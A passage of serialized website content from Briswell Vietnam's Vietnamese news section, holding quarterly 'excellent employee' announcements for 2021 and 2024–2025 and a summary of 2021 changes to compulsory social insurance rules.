danh tên mình vào danh sách nhân viên xuất sắc Quý 3\u002F2020",[11,16722,16723],{},"Không còn là một thành viên mới của ngôi nhà Briswell. Chính vì vậy, bạn đã có khá nhiều kinh nghiệm. Tuy đã quen với công việc nhưng bạn vẫn luôn cố gắng hoàn thiện bản thân mình mỗi ngày, nỗ lực làm việc mỗi ngày và phát triển bản thân hơn nữa.",[11,16725,16726],{},"Hy vọng Hà sẽ tiếp tục phát huy điểm mạnh của mình trong tương lai nhé.",[11,16728,16729],{},[20,16730,16731],{},"Và bạn Nguyễn Trung Nghĩa, team Dev3",[533,16733],{"className":16734,"alt":66,"src":16735,"style":1999},[536,537],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112327\u002FNgh%C4%A9a-scaled.jpg",[11,16737,16738],{},"Một bạn trai nữa cũng đến từ team Dev3.",[11,16740,16741],{},"Một bạn nam còn rất trẻ tuổi, nhưng khả năng thì vô hạn.",[11,16743,16744],{},"Dù trẻ tuổi nhưng bạn đã khẳng định được vị thế của mình và nhận được sự công nhận của các Leader.",[11,16746,16747],{},"Không lâu nữa bạn sẽ lên một vị trí mới sau bao ngày cố gắng phấn đấu và nỗ lực.",[11,16749,16750],{},"Hy vọng Nghĩa sẽ còn thăng tiến nhiều hơn nữa trong tương lai.",[11,16752,16753],{},"Chúc mừng các bạn đã đạt giải nhân viên xuất sắc kỳ này!",[11,16755,16756],{},"Năm 2021 mới chỉ bắt đầu, Các thành viên của Briswell ơi, mình cùng nhau cố gắng và phấn đấu nhiều hơn nữa nhé!",{"title":66,"searchDepth":67,"depth":67,"links":16758},[],"2021-05-21","Chào các bạn! Lại là chuyên mục Nhân viên xuất sắc của Quý đây! Kỳ này, chuyên mục xin phép được giới thiệu những cá nhân có thành tích xuất sắc Quý 1\u002F2021. Các bạn có đoán được là ai không nhỉ? Kéo xuống dưới bài viết để chiêm ngưỡng những gương mặt nào tỏa sáng kỳ này nhé!",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021",{"title":16668,"description":16760},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112347\u002FCover-2.png","g0RSjUp5rx7ecjj_k6JRJfvYssjwUGjzw9nvjx27M8A",{"id":16768,"title":16769,"body":16770,"category":69,"created by":9339,"date":16815,"description":16816,"extension":72,"meta":16817,"navigation":74,"path":16818,"sections":76,"seo":16819,"stem":16820,"thumbnail":16821,"__hash__":16822},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024.md","Nhân Viên Xuất Sắc Quý 1 Năm 2024",{"type":8,"value":16771,"toc":16813},[16772,16775,16778,16782,16787,16793,16798,16804,16807,16810],[11,16773,16774],{},"Chào mừng mọi người quay lại với chuyên mục “Nhân viên xuất sắc mỗi quý” của Briswell Việt Nam!",[11,16776,16777],{},"Công ty rất vui mừng được tuyên dương 2 nhân viên có thành tích xuất sắc trong Quý 1 năm 2024!  Đây là những cá nhân đã có nhiều đóng góp tích cực trong quý, góp phần thúc đẩy sự phát triển chung của công ty.",[533,16779],{"className":16780,"alt":66,"src":16781,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155818\u002FIMG_2034-1024x765.jpg",[11,16783,16784],{},[20,16785,16786],{},"Giải nhất",[11,16788,16789,16790],{},"Anh Đặng Minh Đạt ",[1277,16791,16792],{},"(bên phải)",[11,16794,16795],{},[20,16796,16797],{},"Giải nhì",[11,16799,16800,16801],{},"Anh Lê Ngọc Khánh ",[1277,16802,16803],{},"(giữa)",[11,16805,16806],{},"Công ty xin gửi lời chúc mừng đến anh Đạt và anh Khánh! Hy vọng hai anh sẽ tiếp tục phát huy năng lực và gặt hái nhiều thành công hơn nữa trong tương lai.",[11,16808,16809],{},"Ngoài ra, công ty cũng rất trân trọng và cảm ơn tất cả các nhân viên đã nỗ lực hoàn thành tốt công việc trong quý vừa qua.",[11,16811,16812],{},"Hãy cùng nhau tiếp tục cố gắng hết mình trong quý tiếp theo nhé!",{"title":66,"searchDepth":67,"depth":67,"links":16814},[],"2025-02-28","Chào mừng mọi người quay lại với chuyên mục “Nhân viên xuất sắc mỗi quý” của Briswell Việt Nam! Công ty rất vui mừng được tuyên dương 2 nhân viên có thành tích xuất sắc trong Quý 1 năm 2024!  Đây là những cá nhân đã có nhiều đóng góp tích cực trong quý, góp phần thúc đẩy sự phát triển chung của công ty. […]",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024",{"title":16769,"description":16816},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155813\u002F202405_ExcellentStaff.png","aKsya6xFAa0eO2veNOyQvRuqLMl64R6YNR3SGQM_uJw",{"id":16824,"title":16825,"body":16826,"category":69,"created by":9339,"date":16870,"description":16871,"extension":72,"meta":16872,"navigation":74,"path":16873,"sections":76,"seo":16874,"stem":16875,"thumbnail":16876,"__hash__":16877},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025.md","Nhân viên xuất sắc Quý 1 năm 2025",{"type":8,"value":16827,"toc":16868},[16828,16831,16834,16838,16843,16848,16853,16859,16862,16865],[11,16829,16830],{},"Khởi đầu năm 2025 đầy triển vọng, Briswell Việt Nam tiếp tục duy trì truyền thống vinh danh những nhân viên xuất sắc trong mỗi quý.",[11,16832,16833],{},"Trong quý 1 này, công ty rất vui mừng được biểu dương 2 cá nhân xuất sắc, những người không chỉ duy trì phong độ ổn định mà còn tiếp tục tỏa sáng.  ",[533,16835],{"className":16836,"alt":66,"src":16837,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F21145248\u002FIMG_4435-768x886.jpg",[11,16839,16840],{},[20,16841,16842],{},"🏅Giải nhất",[11,16844,16845,16846],{},"Anh Phan Thanh Hoàng - Nodejs Developer ",[1277,16847,16792],{},[11,16849,16850],{},[20,16851,16852],{},"🥈Giải nhì",[11,16854,16855,16856],{},"Chị Nguyễn Thị Ngọc Hải - Nodejs Developer ",[1277,16857,16858],{},"(bên trái)",[11,16860,16861],{},"Đây không phải là lần đầu tiên hai anh chị xuất hiện trong bảng vàng – cả hai đều đã từng đạt được những thành tích nổi bật ở các quý trước. Sự nỗ lực không ngừng nghỉ đã giúp hai anh chị tiếp tục duy trì vị trí top đầu trong đội ngũ Briswell Việt Nam.",[11,16863,16864],{},"Xin chúc mừng anh Hoàng và chị Hải với những đóng góp nổi bật trong quý vừa qua!",[11,16866,16867],{},"Hy vọng rằng tất cả chúng ta sẽ cùng nhau không ngừng cố gắng, hướng tới những cột mốc mới trong Quý 2 và xa hơn nữa!",{"title":66,"searchDepth":67,"depth":67,"links":16869},[],"2025-05-30","Khởi đầu năm 2025 đầy triển vọng, Briswell Việt Nam tiếp tục duy trì truyền thống vinh danh những nhân viên xuất sắc trong mỗi quý. Trong quý 1 này, công ty rất vui mừng được biểu dương 2 cá nhân xuất sắc, những người không chỉ duy trì phong độ ổn định mà còn tiếp tục tỏa sáng.   🏅Giải nhất Anh Phan Thanh Hoàng",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025",{"title":16825,"description":16871},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22093850\u002FTitle-Q1.2025.png","xfboWjNfKZxwSv_EqDoqYo-A_eUwPEh63fEY0osKMpA",{"id":16879,"title":16880,"body":16881,"category":69,"created by":6140,"date":16922,"description":16923,"extension":72,"meta":16924,"navigation":74,"path":16925,"sections":76,"seo":16926,"stem":16927,"thumbnail":16928,"__hash__":16929},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024.md","Nhân Viên Xuất Sắc Quý 2 Năm 2024",{"type":8,"value":16882,"toc":16920},[16883,16885,16888,16894,16898,16903,16907,16911,16914,16917],[11,16884,16774],{},[11,16886,16887],{},"Công ty rất vui mừng tuyên dương 2 nhân viên có thành tích xuất sắc trong Quý 2 năm 2024!",[11,16889,16890,64],{},[533,16891],{"className":16892,"alt":66,"src":16893,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20105947\u002FQ2-1024x768.jpg",[11,16895,16896],{},[20,16897,16842],{},[11,16899,16900,16901],{},"Anh Huỳnh Bùi Thanh Nhàn - IT Communicator ",[1277,16902,16792],{},[11,16904,16905],{},[20,16906,16852],{},[11,16908,16845,16909],{},[1277,16910,16858],{},[11,16912,16913],{},"Đây là 2 cá nhân đã bứt phá trong cuộc đua giành danh hiệu Nhân viên xuất sắc mỗi quý. Hai anh đã có nhiều đóng góp tích cực trong quý, góp phần thúc đẩy sự phát triển chung của công ty.",[11,16915,16916],{},"Chúc mừng anh Nhàn và anh Hoàng với những thành tích ấn tượng! ",[11,16918,16919],{},"Hãy cùng nhau tiếp tục nỗ lực và hướng đến những mục tiêu cao hơn trong quý tiếp theo!",{"title":66,"searchDepth":67,"depth":67,"links":16921},[],"2025-04-08","Chào mừng mọi người quay lại với chuyên mục “Nhân viên xuất sắc mỗi quý” của Briswell Việt Nam! Công ty rất vui mừng tuyên dương 2 nhân viên có thành tích xuất sắc trong Quý 2 năm 2024! Đây là 2 cá nhân đã bứt phá trong cuộc đua giành danh hiệu Nhân viên xuất sắc mỗi quý. Hai anh đã có nhiều đóng góp tích cực trong quý, góp phần thúc đẩy sự phát triển chung của công ty. Chúc mừng anh Nhàn và anh Hoàng với những thành tích ấn tượng! Hãy cùng nhau tiếp tục nỗ lực và hướng đến những mục tiêu cao hơn trong quý tiếp theo!",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024",{"title":16880,"description":16923},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110501\u002FTitle-Q2.png","omb1OWC_-WIpYTizUqIAADBIjjHH9ZA1G1WEJ1Egr6A",{"id":16931,"title":16932,"body":16933,"category":69,"created by":9339,"date":16972,"description":16973,"extension":72,"meta":16974,"navigation":74,"path":16975,"sections":76,"seo":16976,"stem":16977,"thumbnail":16978,"__hash__":16979},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025.md","Nhân viên xuất sắc Quý 2 năm 2025",{"type":8,"value":16934,"toc":16970},[16935,16938,16942,16947,16951,16955,16960,16964,16967],[11,16936,16937],{},"Quý 2 năm 2025, Briswell Việt Nam tự hào ghi nhận những nỗ lực và đóng góp nổi bật từ các thành viên trong đội ngũ. Nổi bật trong số đó là hai cá nhân đã tạo dấu ấn rõ nét thông qua thành tích ấn tượng và sự cống hiến cho các dự án của công ty.",[11,16939,16940],{},[20,16941,16842],{},[11,16943,16944,16945],{},"Anh Lê Ngọc Khánh  - Software Engineer ",[1277,16946,16792],{},[533,16948],{"className":16949,"alt":66,"src":16950,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132245\u002FQ2-2025-1-1024x1536.jpg",[11,16952,16953],{},[20,16954,16852],{},[11,16956,16957,16958],{},"Anh Nguyễn Ngọc Chính - Nodejs Developer ",[1277,16959,16792],{},[533,16961],{"className":16962,"alt":66,"src":16963,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132255\u002FQ2-2025-2-1024x1536.jpg",[11,16965,16966],{},"Sau một thời gian khá dài, anh Khánh đã trở lại đầy thuyết phục ở vị trí dẫn đầu. Song song đó, anh Chính lần đầu tiên được vinh danh với giải nhì, ghi dấu bước tiến đáng nhớ đầu tiên trong sự nghiệp của mình.",[11,16968,16969],{},"Quý 3 đang đến với nhiều cơ hội mới, hãy cùng nhau nỗ lực để chinh phục nhé!",{"title":66,"searchDepth":67,"depth":67,"links":16971},[],"2025-12-05","Quý 2 năm 2025, Briswell Việt Nam tự hào ghi nhận những nỗ lực và đóng góp nổi bật từ các thành viên trong đội ngũ. Nổi bật trong số đó là hai cá nhân đã tạo dấu ấn rõ nét thông qua thành tích ấn tượng và sự cống hiến cho các dự án của công ty. 🏅Giải nhất Anh Lê Ngọc Khánh  – Software Engineer",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025",{"title":16932,"description":16973},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132326\u002FTitle-Q2.2025.png","IJbPf13XcVlHRYcURjF498jlvWqB92D9_6ErLbh2rt4",{"id":16981,"title":16982,"body":16983,"category":69,"created by":6140,"date":17020,"description":17021,"extension":72,"meta":17022,"navigation":74,"path":17023,"sections":76,"seo":17024,"stem":17025,"thumbnail":17026,"__hash__":17027},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024.md","Nhân viên xuất sắc Quý 3 năm 2024",{"type":8,"value":16984,"toc":17018},[16985,16988,16991,16995,17000,17004,17008,17012,17015],[11,16986,16987],{},"Chuyên mục “Nhân viên xuất sắc mỗi quý” của Briswell Việt Nam đã quay trở lại rồi đây!",[11,16989,16990],{},"Trong Quý 3\u002F2024 này, có 2 thành viên mới đã vượt lên để giành được danh hiệu Nhân viên xuất sắc. Đó chính là:",[11,16992,16993],{},[20,16994,16842],{},[11,16996,16997,16998],{},"Anh Lê Văn Đồng - Nodejs Developer ",[1277,16999,16792],{},[11,17001,17002],{},[20,17003,16852],{},[11,17005,16855,17006],{},[1277,17007,16858],{},[533,17009],{"className":17010,"alt":66,"src":17011,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110007\u002FQ3-768x807.png",[11,17013,17014],{},"Xin gửi lời chúc mừng đến hai ngôi sao sáng của công ty - anh Đồng và chị Hải! Hai anh chị đã có một quý làm việc đầy ấn tượng.",[11,17016,17017],{},"Hãy cùng cố gắng hơn nữa trong quý tiếp theo nhé!",{"title":66,"searchDepth":67,"depth":67,"links":17019},[],"2025-04-14","Chuyên mục “Nhân viên xuất sắc mỗi quý” của Briswell Việt Nam đã quay trở lại rồi đây! Trong Quý 3\u002F2024 này, có 2 thành viên mới đã vượt lên để giành được danh hiệu Nhân viên xuất sắc. Xin gửi lời chúc mừng đến hai ngôi sao sáng của công ty - anh Đồng và chị Hải! Hai anh chị đã có một quý làm việc đầy ấn tượng. Hãy cùng cố gắng hơn nữa trong quý tiếp theo nhé!",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024",{"title":16982,"description":17021},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110507\u002FTitle-Q3.png","l8mDzgStVenfodiKh9e1cFp7fq_zE-Cd4ssjWw0_dVw",{"id":17029,"title":17030,"body":17031,"category":69,"created by":9339,"date":17072,"description":17073,"extension":72,"meta":17074,"navigation":74,"path":17075,"sections":76,"seo":17076,"stem":17077,"thumbnail":17078,"__hash__":17079},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025.md","Nhân viên xuất sắc Quý 3 năm 2025",{"type":8,"value":17032,"toc":17070},[17033,17036,17039,17043,17048,17052,17056,17060,17064,17067],[11,17034,17035],{},"Khép lại Quý 3 năm 2025, Briswell Việt Nam tiếp tục duy trì truyền thống vinh danh những cá nhân có đóng góp xuất sắc trong công việc.",[11,17037,17038],{},"Trong quý này, công ty trân trọng tuyên dương hai gương mặt tiêu biểu.",[11,17040,17041],{},[20,17042,16842],{},[11,17044,17045,17046],{},"Anh Nguyễn Nhật Tâm  - Nodejs Developer ",[1277,17047,16858],{},[533,17049],{"className":17050,"alt":66,"src":17051,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132318\u002FQ3_2025-2-1468x1536.jpg",[11,17053,17054],{},[20,17055,16852],{},[11,17057,16957,17058],{},[1277,17059,16792],{},[533,17061],{"className":17062,"alt":66,"src":17063,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132306\u002FQ3_2025-1-768x804.jpg",[11,17065,17066],{},"Quý 3 năm 2025 đánh dấu bước tiến mới của anh Tâm khi lần đầu tiên góp mặt trong danh sách nhân viên xuất sắc của công ty. Anh Chính tiếp tục giữ vững phong độ khi một lần nữa đạt giải nhì, nối tiếp thành tích ấn tượng ở Quý 2. ",[11,17068,17069],{},"Mong toàn thể các thành viên tiếp tục phấn đấu, cùng nhau hướng tới những thành tựu mới trong Quý 4.",{"title":66,"searchDepth":67,"depth":67,"links":17071},[],"2025-12-11","Khép lại Quý 3 năm 2025, Briswell Việt Nam tiếp tục duy trì truyền thống vinh danh những cá nhân có đóng góp xuất sắc trong công việc. Trong quý này, công ty trân trọng tuyên dương hai gương mặt tiêu biểu. 🏅Giải nhất Anh Nguyễn Nhật Tâm  – Nodejs Developer (bên trái) 🥈Giải nhì Anh Nguyễn Ngọc Chính – Nodejs Developer (bên phải) Quý 3 năm 2025 đánh dấu bước tiến mới của anh Tâm khi lần đầu tiên góp mặt trong danh sách nhân viên xuất sắc của công ty. Anh Chính tiếp tục giữ vững phong độ khi một lần nữa đạt giải nhì, nối tiếp thành tích ấn tượng ở Quý 2. ",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025",{"title":17030,"description":17073},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132329\u002FTitle-Q3.2025.png","oLxl_5E4ouGAlui-c5ElM3KzoviEsbn3p8NHK7DjPR8",{"id":17081,"title":17082,"body":17083,"category":69,"created by":6140,"date":17119,"description":17120,"extension":72,"meta":17121,"navigation":74,"path":17122,"sections":76,"seo":17123,"stem":17124,"thumbnail":17125,"__hash__":17126},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024.md","Nhân viên xuất sắc Quý 4 năm 2024",{"type":8,"value":17084,"toc":17117},[17085,17088,17091,17095,17099,17103,17107,17111,17114],[11,17086,17087],{},"Đến hẹn lại lên, Briswell Việt Nam lại chào đón mọi người đến với chuyên mục “Nhân viên xuất sắc mỗi quý”.",[11,17089,17090],{},"Quý 4\u002F2024 này, chúng ta được gặp lại hai gương mặt quen thuộc - những cá nhân đã tiếp tục chứng tỏ năng lực và sự cống hiến vượt trội của mình. Nhờ những nỗ lực không ngừng nghỉ trong công việc, họ đã xuất sắc giành được danh hiệu Nhân viên xuất sắc Quý 4\u002F2024.",[533,17092],{"className":17093,"alt":66,"src":17094,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110028\u002FQ4-768x576.png",[11,17096,17097],{},[20,17098,16842],{},[11,17100,16845,17101],{},[1277,17102,16858],{},[11,17104,17105],{},[20,17106,16852],{},[11,17108,16855,17109],{},[1277,17110,16792],{},[11,17112,17113],{},"Chúc mừng anh Hoàng và chị Hải với những thành tích tuyệt vời mà anh chị đã đạt được! ",[11,17115,17116],{},"Hãy cùng nhau bước vào quý tiếp theo với tinh thần nhiệt huyết và quyết tâm cao nhất!",{"title":66,"searchDepth":67,"depth":67,"links":17118},[],"2025-04-23","Đến hẹn lại lên, Briswell Việt Nam lại chào đón mọi người đến với chuyên mục “Nhân viên xuất sắc mỗi quý”. Quý 4\u002F2024 này, chúng ta được gặp lại hai gương mặt quen thuộc - những cá nhân đã tiếp tục chứng tỏ năng lực và sự cống hiến vượt trội của mình. Nhờ những nỗ lực không ngừng nghỉ trong công việc, họ đã xuất sắc giành được danh hiệu Nhân viên xuất sắc Quý 4\u002F2024. Chúc mừng anh Hoàng và chị Hải với những thành tích tuyệt vời mà anh chị đã đạt được! Hãy cùng nhau bước vào quý tiếp theo với tinh thần nhiệt huyết và quyết tâm cao nhất!",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024",{"title":17082,"description":17120},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20132336\u002FTitle-Q4.png","tXU9CDGD27VR_UQdcW3J6vpMp7gZdb3804fZKsQwTJs",{"id":17128,"title":17129,"body":17130,"category":69,"created by":9339,"date":17167,"description":17168,"extension":72,"meta":17169,"navigation":74,"path":17170,"sections":76,"seo":17171,"stem":17172,"thumbnail":17173,"__hash__":17174},"content_vi\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025.md","Nhân viên xuất sắc Quý 4 năm 2025",{"type":8,"value":17131,"toc":17165},[17132,17135,17137,17141,17145,17150,17154,17159,17162],[11,17133,17134],{},"Chặng đường cuối của năm 2025 đã kết thúc, và giờ là lúc Briswell Việt Nam công bố những \"chiến binh\" xuất sắc nhất của Quý 4 năm 2025!",[11,17136,17038],{},[533,17138],{"className":17139,"alt":66,"src":17140,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111417\u002FIMG_8721-1-scaled.jpg",[11,17142,17143],{},[20,17144,16842],{},[11,17146,17147,17148],{},"Anh Phan Thanh Hoàng  - Nodejs Developer ",[1277,17149,16792],{},[11,17151,17152],{},[20,17153,16852],{},[11,17155,17156,17157],{},"Chị Đỗ Xuân Diệu - IT Communicator ",[1277,17158,16858],{},[11,17160,17161],{},"Chúc mừng anh Thanh Hoàng một lần nữa khẳng định năng lực của mình khi xuất sắc trở lại vị trí dẫn đầu. Bên cạnh đó, chị Xuân Diệu, một thành viên mới đầy tiềm năng của Briswell đã nhanh chóng ghi dấu ấn với thành tích tốt, qua đó vinh dự đạt danh hiệu nhân viên xuất sắc nhì của Quý 4.",[11,17163,17164],{},"Mong rằng tinh thần này sẽ tiếp tục được lan tỏa để cả nhà Briswell cùng nhau cố gắng và gặt hái thêm nhiều thành quả đáng tự hào hơn nữa trong năm 2026.",{"title":66,"searchDepth":67,"depth":67,"links":17166},[],"2026-01-30","Chặng đường cuối của năm 2025 đã kết thúc, và giờ là lúc Briswell Việt Nam công bố những “chiến binh” xuất sắc nhất của Quý 4 năm 2025! Trong quý này, công ty trân trọng tuyên dương hai gương mặt tiêu biểu. 🏅Giải nhất Anh Phan Thanh Hoàng  – Nodejs Developer (bên phải) 🥈Giải nhì Chị Đỗ Xuân Diệu – IT Communicator (bên trái)",{},"\u002Fvi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025",{"title":17129,"description":17168},"vi\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111942\u002FTitle-Q4.2025.png","EzuALwD9V9W2Aq0_17FKnhmQuSkbcjVzJLiLwphWjcA",{"id":17176,"title":17177,"body":17178,"category":69,"created by":240,"date":17253,"description":17182,"extension":72,"meta":17254,"navigation":74,"path":17255,"sections":76,"seo":17256,"stem":17257,"thumbnail":17258,"__hash__":17259},"content_vi\u002Fvi\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021.md","NHỮNG ĐIỂM MỚI VỀ BẢO HIỂM XÃ HỘI BẮT BUỘC ÁP DỤNG TỪ 01\u002F09\u002F2021",{"type":8,"value":17179,"toc":17251},[17180,17183,17188,17191,17194,17197,17200,17205,17208,17212,17215,17220,17223,17226,17229,17233,17240,17245],[11,17181,17182],{},"Theo Thông tư 06\u002F2021\u002FTT-BLĐTBXH được Bộ LĐ-TB&XH ban hành, từ ngày 01\u002F09\u002F2021 tới đây sẽ có những quy định mới với nhiều thay đổi lớn, ảnh hưởng tới người tham gia bảo hiểm xã hội (BHXH) bắt buộc.",[11,17184,17185],{},[20,17186,17187],{},"1. Điều chỉnh về đối tượng tham gia BHXH bắt buộc",[11,17189,17190],{},"Khoản 1 Điều 1 Thông tư 06\u002F2021 đã nêu rõ:",[11,17192,17193],{},"Người hoạt động không chuyên trách ở xã, phường, thị trấn đồng thời là người giao kết hợp đồng lao động quy định tại điểm a và điểm b khoản 1 Điều 2 của Luật BHXH thì tham gia BHXH bắt buộc theo đối tượng quy định tại điểm a và điểm b khoản 1 Điều 2 của Luật BHXH.",[11,17195,17196],{},"Như vậy, người hoạt động không chuyên trách ở cấp xã mà đồng thời là người làm việc theo hợp đồng lao động có thời hạn từ đủ 01 tháng trở lên sẽ phải tham gia bảo hiểm xã hội bắt buộc theo nhóm đối tượng người lao động làm việc theo hợp đồng.",[11,17198,17199],{},"Đây là một quy định hoàn toàn mới mà trước đó, Thông tư số 59\u002F2015\u002FTT-BLĐTBXH chưa đề cập.",[11,17201,17202],{},[20,17203,17204],{},"2. Mức hưởng ốm đau tối đa khi nghỉ lẻ tháng",[11,17206,17207],{},"Theo quy định tại điểm b Điều 6 Thông tư số 59\u002F2015\u002FTT-BLĐTBXH, trường hợp thời gian nghỉ ốm đau có ngày lẻ không trọn tháng thì mức hưởng cho những ngày này được tính như sau:",[533,17209],{"className":17210,"alt":66,"src":17211,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20170517\u002FUntitled.png",[11,17213,17214],{},"Thông tư 06\u002F2021 vẫn tiếp tục kế thừa quy định này, đồng thời bổ sung quy định về mức hưởng tối đa khi tính theo công thức này.",[11,17216,17217],{},[20,17218,17219],{},"3. Thay đổi về tiền lương tính hưởng chế độ ốm đau",[11,17221,17222],{},"Căn cứ khoản 3 Điều 1 Thông tư 06, mức hưởng chế độ ốm đau đối với người lao động thuộc đối tượng đóng BHXH bắt buộc bị ốm đau, tai nạn (không phải tai nạn lao động) hoặc phải nghỉ việc để chăm sóc con dưới 07 tuổi trong thời gian từ 14 ngày làm việc trở lên:",[11,17224,17225],{},"Được tính trên mức tiền lương đóng BHXH của tháng liền kề trước khi nghỉ việc (trước đây, được tính trên tiền lương tháng làm căn cứ đóng BHXH của chính tháng đó).",[11,17227,17228],{},"Trường hợp các tháng liền kề tiếp theo vẫn tiếp tục bị ốm và phải nghỉ việc thì mức hưởng được tính trên tiền lương tháng làm căn cứ đóng bảo hiểm xã hội của tháng liền kề trước khi nghỉ việc (bổ sung mới).",[11,17230,17231],{},[20,17232,55],{},[11,17234,15477,17235],{},[58,17236,17239],{"href":17237,"rel":17238},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Fbao-hiem\u002FThong-tu-06-2021-TT-BLDTBXH-sua-doi-Thong-tu-59-2015-TT-BLDTBXH-bao-hiem-xa-hoi-bat-buoc-395417.aspx",[62],"Thông tư 06\u002F2021\u002FTT-BLĐTBXH",[11,17241,15485,17242],{},[58,17243,2540],{"href":2538,"rel":17244},[62],[11,17246,17247,17248],{},"3. ",[58,17249,15490],{"href":15488,"rel":17250},[62],{"title":66,"searchDepth":67,"depth":67,"links":17252},[],"2021-11-30",{},"\u002Fvi\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021",{"title":17177,"description":17182},"vi\u002Fnews\u002Fnhung-diem-moi-ve-bao-hiem-xa-hoi-bat-buoc-ap-dung-tu-01-09-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F20163934\u002FNhungDiemMoiVeBHXHBB0-20210901.png","nxxKsWPJw_BTv41V2k6cJHr-SYPHvNQIIo66ExdLs4U",{"id":17261,"title":17262,"body":17263,"category":1430,"created 